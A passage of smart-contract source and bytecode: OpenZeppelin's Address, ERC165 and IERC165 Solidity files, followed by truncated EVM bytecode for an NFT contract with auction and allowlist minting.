`value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102bb5760003560e01c8063715018a61161016e578063aca8ffe7116100cb578063c87b56dd1161007f578063dc33e68111610064578063dc33e6811461088f578063e985e9c5146108af578063f2fde38b14610905576102bb565b8063c87b56dd1461084f578063d7d339701461086f576102bb565b8063baa5b6c5116100b0578063baa5b6c51461075e578063bb40613514610771578063bd14c3d014610839576102bb565b8063aca8ffe71461071e578063b88d4fde1461073e576102bb565b80639231ab2a11610122578063a0712d6811610107578063a0712d68146106cb578063a22cb465146106de578063a5cc1975146106fe576102bb565b80639231ab2a1461065257806395d89b41146106b6576102bb565b80638c2614e4116101535780638c2614e4146105e75780638da5cb5b14610607578063917d009e14610632576102bb565b8063715018a61461059757806378dc745e146105ac576102bb565b80633ccfd60b1161021c57806355f804b3116101d05780635b7633d0116101b55780635b7633d01461052a5780636352211e1461055757806370a0823114610577576102bb565b806355f804b3146104ea57806356b938541461050a576102bb565b806345c0f5331161020157806345c0f5331461048157806348b05c1c146104975780634f6ccce7146104ca576102bb565b80633ccfd60b1461044c57806342842e0e14610461576102bb565b806323b872dd116102735780632b26a6bf116102585780632b26a6bf146103ec5780632f745c591461040c578063308d30a01461042c576102bb565b806323b872dd146103b65780632913daa0146103d6576102bb565b8063081812fc116102a4578063081812fc14610317578063095ea7b31461035c57806318160ddd1461037e576102bb565b806301ffc9a7146102c057806306fdde03146102f5575b600080fd5b3480156102cc57600080fd5b506102e06102db366004614c3e565b610925565b60405190151581526020015b60405180910390f35b34801561030157600080fd5b5061030a610a58565b6040516102ec919061501a565b34801561032357600080fd5b50610337610332366004614d77565b610aea565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016102ec565b34801561036857600080fd5b5061037c610377366004614c15565b610b89565b005b34801561038a57600080fd5b506002546001546fffffffffffffffffffffffffffffffff90911690035b6040519081526020016102ec565b3480156103c257600080fd5b5061037c6103d1366004614b3a565b610cf1565b3480156103e257600080fd5b506103a8600e5481565b3480156103f857600080fd5b5061037c610407366004614d77565b610cfc565b34801561041857600080fd5b506103a8610427366004614c15565b610d82565b34801561043857600080fd5b5061037c610447366004614c15565b610f80565b34801561045857600080fd5b5061037c6110bd565b34801561046d57600080fd5b5061037c61047c366004614b3a565b611282565b34801561048d57600080fd5b506103a8600d5481565b3480156104a357600080fd5b506104b76104b2366004614d77565b61129d565b6040516102ec979695949392919061502d565b3480156104d657600080fd5b506103a86104e5366004614d77565b611350565b3480156104f657600080fd5b5061037c610505366004614c76565b611413565b34801561051657600080fd5b506102e0610525366004614d16565b6114a0565b34801561053657600080fd5b50600b546103379073ffffffffffffffffffffffffffffffffffffffff1681565b34801561056357600080fd5b50610337610572366004614d77565b6114fc565b34801561058357600080fd5b506103a8610592366004614aee565b61150e565b3480156105a357600080fd5b5061037c6115c0565b3480156105b857600080fd5b506102e06105c7366004614ce3565b805160208183018101805160118252928201919093012091525460ff1681565b3480156105f357600080fd5b5061037c610602366004614df9565b61164d565b34801561061357600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610337565b34801561063e57600080fd5b506103a861064d366004614d77565b611bf2565b34801561065e57600080fd5b5061067261066d366004614d77565b611d27565b60408051825173ffffffffffffffffffffffffffffffffffffffff16815260208084015167ffffffffffffffff1690820152918101511515908201526060016102ec565b3480156106c257600080fd5b5061030a611d4d565b61037c6106d9366004614d77565b611d5c565b3480156106ea57600080fd5b5061037c6106f9366004614bdb565b612235565b34801561070a57600080fd5b5061037c610719366004614e97565b612366565b34801561072a57600080fd5b5061037c610739366004614d77565b612549565b34801561074a57600080fd5b5061037c610759366004614b75565b6125cf565b61037c61076c366004614d8f565b612652565b34801561077d57600080fd5b506012546107fa9067ffffffffffffffff808216916801000000000000000081049091169063ffffffff700100000000000000000000000000000000820481169174010000000000000000000000000000000000000000810482169178010000000000000000000000000000000000000000000000009091041685565b6040805167ffffffffffffffff968716815295909416602086015263ffffffff928316938501939093528116606084015216608082015260a0016102ec565b34801561084557600080fd5b506103a8600f5481565b34801561085b57600080fd5b5061030a61086a366004614d77565b612b4a565b34801561087b57600080fd5b5061037c61088a366004614d77565b612c17565b34801561089b57600080fd5b506103a86108aa366004614aee565b612c9d565b3480156108bb57600080fd5b506102e06108ca366004614b08565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260086020908152604080832093909416825291909152205460ff1690565b34801561091157600080fd5b5061037c610920366004614aee565b612ca8565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806109b857507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610a0457507fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d6300000000000000000000000000000000000000000000000000000000145b80610a5057507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b90505b919050565b606060038054610a6790615161565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9390615161565b8015610ae05780601f10610ab557610100808354040283529160200191610ae0565b820191906000526020600020905b815481529060010190602001808311610ac357829003601f168201915b5050505050905090565b6000610af582612dd8565b610b60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f617070726f76656420717565727920666f72206e6f6e6578697374656e74000060448201526064015b60405180910390fd5b5060009081526007602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000610b94826114fc565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c2c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f617070726f76616c20746f2063757272656e74206f776e6572000000000000006044820152606401610b57565b3373ffffffffffffffffffffffffffffffffffffffff82161480610c555750610c5581336108ca565b610ce1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f617070726f76652063616c6c6572206e6f74206f776e65722f617070726f766560448201527f64000000000000000000000000000000000000000000000000000000000000006064820152608401610b57565b610cec838383612e1d565b505050565b610cec838383612e9e565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b600e55565b6000610d8d8361150e565b8210610df5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f6f776e657220696e646578206f7574206f6620626f756e6473000000000000006044820152606401610b57565b600154600080805b83811015610f17576000818152600560209081526040918290208251606081018452905473ffffffffffffffffffffffffffffffffffffffff8116825274010000000000000000000000000000000000000000810467ffffffffffffffff16928201929092527c010000000000000000000000000000000000000000000000000000000090910460ff161580159282019290925290610e9c5750610f0f565b805173ffffffffffffffffffffffffffffffffffffffff1615610ebe57805192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f0d5786841415610f0657509350610f7a92505050565b6001909301925b505b600101610dfd565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f746f6b656e206f66206f776e6572206f7574206f6620696e64657800000000006044820152606401610b57565b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611001576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b600254600154600d546fffffffffffffffffffffffffffffffff90921690039061102b83836150b5565b1115611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f457863656564206d617820737570706c790000000000000000000000000000006044820152606401610b57565b60005473ffffffffffffffffffffffffffffffffffffffff16331415610cec57610cec8383613303565b60005473ffffffffffffffffffffffffffffffffffffffff16331461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b600260095414156111ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610b57565b6002600955600a5460405160009173ffffffffffffffffffffffffffffffffffffffff169047908381818185875af1925050503d806000811461120a576040519150601f19603f3d011682016040523d82523d6000602084013e61120f565b606091505b505090508061127a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5472616e73666572206661696c65642e000000000000000000000000000000006044820152606401610b57565b506001600955565b610cec838383604051806020016040528060008152506125cf565b601081815481106112ad57600080fd5b60009182526020909120015461ffff8116915063ffffffff620100008204811691660100000000000081048216916a01000000000000000000008204169067ffffffffffffffff6e010000000000000000000000000000820481169176010000000000000000000000000000000000000000000081049091169060ff7e010000000000000000000000000000000000000000000000000000000000009091041687565b60015460009081805b82811015610f17576000818152600560209081526040918290208251606081018452905473ffffffffffffffffffffffffffffffffffffffff8116825274010000000000000000000000000000000000000000810467ffffffffffffffff16928201929092527c010000000000000000000000000000000000000000000000000000000090910460ff1615159181018290529061140a578583141561140357509250610a53915050565b6001909201915b50600101611359565b60005473ffffffffffffffffffffffffffffffffffffffff163314611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b610cec600c8383614942565b60006011836040516114b29190614f90565b9081526040519081900360200190205460ff161580156114f55750600b546114f59033908590859073ffffffffffffffffffffffffffffffffffffffff16613321565b9392505050565b60006115078261340b565b5192915050565b600073ffffffffffffffffffffffffffffffffffffffff821661158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f62616c616e636520717565727920666f722074686520302061646472657373006044820152606401610b57565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205467ffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff163314611641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b61164b600061360e565b565b60005473ffffffffffffffffffffffffffffffffffffffff1633146116ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b60006040518060e001604052808961ffff1681526020018863ffffffff1681526020018763ffffffff1681526020018663ffffffff1681526020018567ffffffffffffffff1681526020018467ffffffffffffffff168152602001836002811115611762577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b905260105490915089106119a5576010805460018101825560009190915281517f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6729091018054602084015160408501516060860151608087015160a08801517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000090951661ffff909716969096177fffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ffff166201000063ffffffff94851602177fffffffffffffffffffffffffffffffffffffffffffff00000000ffffffffffff16660100000000000092841692909202919091177fffffffffffffffffffffffffffffffffffff00000000ffffffffffffffffffff166a01000000000000000000009290911691909102177fffffffffffffffffffff0000000000000000ffffffffffffffffffffffffffff166e01000000000000000000000000000067ffffffffffffffff94851602177fffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffff1676010000000000000000000000000000000000000000000093909116929092029190911780825560c083015183929182907fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167e01000000000000000000000000000000000000000000000000000000000000836002811115611999577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055505050611be7565b8060108a815481106119e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290208351910180549284015160408501516060860151608087015160a08801517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000090971661ffff909616959095177fffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ffff166201000063ffffffff94851602177fffffffffffffffffffffffffffffffffffffffffffff00000000ffffffffffff16660100000000000092841692909202919091177fffffffffffffffffffffffffffffffffffff00000000ffffffffffffffffffff166a01000000000000000000009290911691909102177fffffffffffffffffffff0000000000000000ffffffffffffffffffffffffffff166e01000000000000000000000000000067ffffffffffffffff93841602177fffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffff1676010000000000000000000000000000000000000000000092909316919091029190911780825560c08301519082907fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167e01000000000000000000000000000000000000000000000000000000000000836002811115611bdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b021790555050505b505050505050505050565b6040805160a08101825260125467ffffffffffffffff8082168084526801000000000000000083049091166020840181905263ffffffff7001000000000000000000000000000000008404811695850186905274010000000000000000000000000000000000000000840481166060860181905278010000000000000000000000000000000000000000000000009094041660808501526000949283871015611ca2578295505050505050610a53565b80611cad858961511e565b10611cbe57509350610a5392505050565b608085015163ffffffff16600081611cd6878b61511e565b611ce091906150cd565b90506000611cee83856150cd565b611cf8868861511e565b611d0291906150cd565b9050611d0e81836150e1565b611d18908761511e565b98505050505050505050610a53565b6040805160608101825260008082526020820181905291810191909152610a508261340b565b606060048054610a6790615161565b323314611dc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e747261637400006044820152606401610b57565b611dce81613683565b611dd661387a565b60006010600f5481548110611e14577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825291909201805461ffff8116835263ffffffff620100008204811695840195909552660100000000000081048516938301939093526a01000000000000000000008304909316606082015267ffffffffffffffff6e01000000000000000000000000000083048116608083015276010000000000000000000000000000000000000000000083041660a0820152919060c083019060ff7e01000000000000000000000000000000000000000000000000000000000000909104166002811115611f1a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6002811115611f52577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b9052506080810151606082015160c083015192935067ffffffffffffffff9091169163ffffffff909116906000816002811115611fb8577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f77726f6e672073746167650000000000000000000000000000000000000000006044820152606401610b57565b61202981613a51565b61208f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f73616c6520686173206e6f7420737461727465642079657400000000000000006044820152606401610b57565b82856120b36002546001546fffffffffffffffffffffffffffffffff909116900390565b6120bd91906150b5565b1115612125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6578636565642061756374696f6e206d696e7420616d6f756e740000000000006044820152606401610b57565b8185111561218f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f63616e206e6f74206d696e742074686973206d616e79000000000000000000006044820152606401610b57565b60018160028111156121ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612201576000856121dc42611bf2565b6121e691906150e1565b90506121f181613ca2565b6121fb3387613303565b5061222e565b60a084015167ffffffffffffffff1661222261221d87836150e1565b613ca2565b61222c3387613303565b505b5050505050565b73ffffffffffffffffffffffffffffffffffffffff82163314156122b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610b57565b33600081815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925290912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168415151790559073ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161235a911515815260200190565b60405180910390a35050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146123e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b6040805160a08101825267ffffffffffffffff968716808252959096166020870181905263ffffffff94851691870182905292841660608701819052919093166080909501859052601280547fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000169094177fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff1668010000000000000000909202919091177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000909202919091177fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000909102177fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff167801000000000000000000000000000000000000000000000000909202919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146125ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b600d55565b6125da848484612e9e565b6125e684848484613d0c565b61264c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f7472616e7366657220746f206e6f6e20455243373231526563656976657200006044820152606401610b57565b50505050565b3233146126bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e747261637400006044820152606401610b57565b6126c483613683565b6126cc61387a565b6126d66000613a51565b61273c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f73616c6520686173206e6f7420737461727465642079657400000000000000006044820152606401610b57565b60118260405161274c9190614f90565b9081526040519081900360200190205460ff16156127c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5469636b65742068617320616c7265616479206265656e2075736564000000006044820152606401610b57565b600b546127ee9033908490849073ffffffffffffffffffffffffffffffffffffffff16613321565b612854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f5469636b657420697320696e76616c69640000000000000000000000000000006044820152606401610b57565b60006010600f5481548110612892577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825291909201805461ffff8116835263ffffffff620100008204811695840195909552660100000000000081048516938301939093526a01000000000000000000008304909316606082015267ffffffffffffffff6e01000000000000000000000000000083048116608083015276010000000000000000000000000000000000000000000083041660a0820152919060c083019060ff7e01000000000000000000000000000000000000000000000000000000000000909104166002811115612998577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60028111156129d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b905250608081015190915067ffffffffffffffff1680612a086002546001546fffffffffffffffffffffffffffffffff909116900390565b612a139060016150b5565b1115612a7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f72656163686564206d617820737570706c7900000000000000000000000000006044820152606401610b57565b60a082015167ffffffffffffffff1680612af1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f616c6c6f776c6973742073616c6520686173206e6f7420626567756e207965746044820152606401610b57565b6001601186604051612b039190614f90565b90815260405190819003602001902080549115157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0090921691909117905561222281613ca2565b6060612b5582612dd8565b612bbb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e006044820152606401610b57565b6000612bc5613ee2565b9050805160001415612be657604051806020016040528060008152506114f5565b80612bf084613ef1565b604051602001612c01929190614fac565b6040516020818303038152906040529392505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314612c98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b600f55565b6000610a5082614072565b60005473ffffffffffffffffffffffffffffffffffffffff163314612d29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b57565b73ffffffffffffffffffffffffffffffffffffffff8116612dcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610b57565b612dd58161360e565b50565b600060015482108015610a505750506000908152600560205260409020547c0100000000000000000000000000000000000000000000000000000000900460ff161590565b60008281526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000612ea98261340b565b805190915060009073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ef157508151612ef190336108ca565b80612f19575033612f0184610aea565b73ffffffffffffffffffffffffffffffffffffffff16145b905080612f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f7472616e736665722069736e2774206f776e65722f617070726f7665640000006044820152606401610b57565b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161461301b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f7472616e736665722066726f6d20696e636f7272656374206f776e65720000006044820152606401610b57565b73ffffffffffffffffffffffffffffffffffffffff84166130be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610b57565b6130ce6000848460000151612e1d565b73ffffffffffffffffffffffffffffffffffffffff858116600090815260066020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffff000000000000000080821667ffffffffffffffff9283167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01831617909255898616808652838620805493841693831660019081018416949094179055898652600590945282852080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169094177fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000004290921691909102179092559086018083529120549091166132a2576001548110156132a2578251600082815260056020908152604090912080549186015167ffffffffffffffff1674010000000000000000000000000000000000000000027fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff9094167fffffffffffffffffffffffff000000000000000000000000000000000000000090931692909217929092161790555b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461222e565b61331d828260405180602001604052806000815250614130565b5050565b6000808585604051602001613337929190614f45565b60405160208183030381529060405280519060200120905060008160405160200161338e91907f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152919052805160209091012090506133d0818661413d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614925050505b949350505050565b604080516060810182526000808252602082018190529181019190915260015482908110156135ac576000818152600560209081526040918290208251606081018452905473ffffffffffffffffffffffffffffffffffffffff8116825274010000000000000000000000000000000000000000810467ffffffffffffffff16928201929092527c010000000000000000000000000000000000000000000000000000000090910460ff161515918101829052906135aa57805173ffffffffffffffffffffffffffffffffffffffff16156134e9579150610a539050565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016000818152600560209081526040918290208251606081018452905473ffffffffffffffffffffffffffffffffffffffff811680835274010000000000000000000000000000000000000000820467ffffffffffffffff16938301939093527c0100000000000000000000000000000000000000000000000000000000900460ff16151592810192909252156135a5579150610a539050565b6134e9565b505b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f756e61626c6520746f2064657465726d696e6520746865206f776e65720000006044820152606401610b57565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006010600f54815481106136c1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825291909201805461ffff8116835263ffffffff620100008204811695840195909552660100000000000081048516938301939093526a01000000000000000000008304909316606082015267ffffffffffffffff6e01000000000000000000000000000083048116608083015276010000000000000000000000000000000000000000000083041660a0820152919060c083019060ff7e010000000000000000000000000000000000000000000000000000000000009091041660028111156137c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60028111156137ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b905250606081015190915063ffffffff1682811015610cec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f457863656564206d696e74207175616e74697479206c696d69742e00000000006044820152606401610b57565b600f546138889060016150b5565b601054111561164b5760006010600f54815481106138cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825291909201805461ffff8116835263ffffffff620100008204811695840195909552660100000000000081048516938301939093526a01000000000000000000008304909316606082015267ffffffffffffffff6e01000000000000000000000000000083048116608083015276010000000000000000000000000000000000000000000083041660a0820152919060c083019060ff7e010000000000000000000000000000000000000000000000000000000000009091041660028111156139d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6002811115613a0d577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b905250604081015190915063ffffffff16428111613a43576001600f6000828254613a3891906150b5565b90915550613a4a9050565b505061164b565b505061387a565b600f5460105460009110613a6757506000610a53565b60006010600f5481548110613aa5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825291909201805461ffff8116835263ffffffff620100008204811695840195909552660100000000000081048516938301939093526a01000000000000000000008304909316606082015267ffffffffffffffff6e01000000000000000000000000000083048116608083015276010000000000000000000000000000000000000000000083041660a0820152919060c083019060ff7e01000000000000000000000000000000000000000000000000000000000000909104166002811115613bab577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6002811115613be3577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b90525060a0810151602082015160c083015192935067ffffffffffffffff9091169163ffffffff909116908215801590613c8c5750856002811115613c51577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b816002811115613c8a577f4e487b710000000000000000000000000000000000000